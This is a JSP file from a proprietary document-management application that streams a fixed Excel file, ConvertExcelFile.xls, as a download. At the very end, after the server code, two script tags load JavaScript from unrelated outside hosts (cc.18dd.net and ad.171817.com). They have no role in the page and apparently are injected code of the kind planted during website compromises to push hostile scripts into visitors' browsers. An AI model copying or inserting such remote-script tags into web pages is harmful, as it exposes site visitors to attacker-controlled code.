<%
/*
 * @(#)FileDownload.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  FileDownload.jsp

  This class is used to retrieve the document content from http

  @author          Zoe Shum
  @company         DCIVision Limited
  @creation date   06/08/2003
  @version         $Revision: 1.3.26.2 $
*/
%><%@page import="com.dcivision.dms.core.FileDownloader"
%><%@page import="java.io.*"
%><%@page import="java.sql.*"
%><%@page import="java.net.URLConnection"
%><%@page import="java.net.URLDecoder"
%><%@page import="javax.sql.*"
%><%@page import="com.dcivision.framework.*"
%><%@page import="com.dcivision.dms.*"
%><%@page import="com.dcivision.dms.bean.*"
%><%@page import="com.dcivision.dms.core.*"
%><%@page import="com.dcivision.dms.dao.*"
%><%@page import="com.dcivision.alert.bean.*"
%><%@page import="com.dcivision.alert.core.*"
%><%@page import="com.dcivision.audit.*"
%><%@page import="com.dcivision.audit.bean.*"
%><%@page import="com.dcivision.audit.core.*"
%><%@page import="org.apache.struts.action.Action"
%><%@ page import="org.apache.commons.logging.LogFactory"
%><%@ taglib uri="/tags/struts-html" prefix="html"
%><%@ taglib uri="/tags/struts-bean" prefix="bean"
%><%@ taglib uri="/tags/struts-logic" prefix="logic"
%><jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/><%
// Retrieval Document ID and its Version ID
Integer targetID = TextUtility.parseIntegerObj(request.getParameter("targetID"));
String version = request.getParameter("version");
String curFunctionCode = (String)request.getParameter("sCurFunctionCode");
Integer versionID = new Integer (1);
boolean isDownload = "Y".equals(request.getParameter("isDownload"));

 
InputStream dataStream = null;
//Connection conn = null;
try {
 
      String  repath=SystemParameterFactory.getSystemParameter(SystemParameterConstant.FORM_ATTACHMENT_PHYSICAL_PATH);
      repath+="/ConvertExcelFile.xls";
 
      File file=new File(repath);
      dataStream=new FileInputStream(file); 
      FileDownloader fd = new FileDownloader();
      fd.setFileName("ConvertExcelFile.xls");
      fd.setContentType(HTTPUtility.CONTENT_TYPE);
      fd.setIsDownload(isDownload);
      fd.setInputStream(dataStream);
      fd.setRequest(request);
      fd.setResponse(response);
      fd.operate();

 
}
catch (Exception e) {
  LogFactory.getLog(this.getClass()).error(e, e);
}
finally {
  try { dataStream.close(); } catch (Exception ignore) {} finally { dataStream = null; }
//  try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
}
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>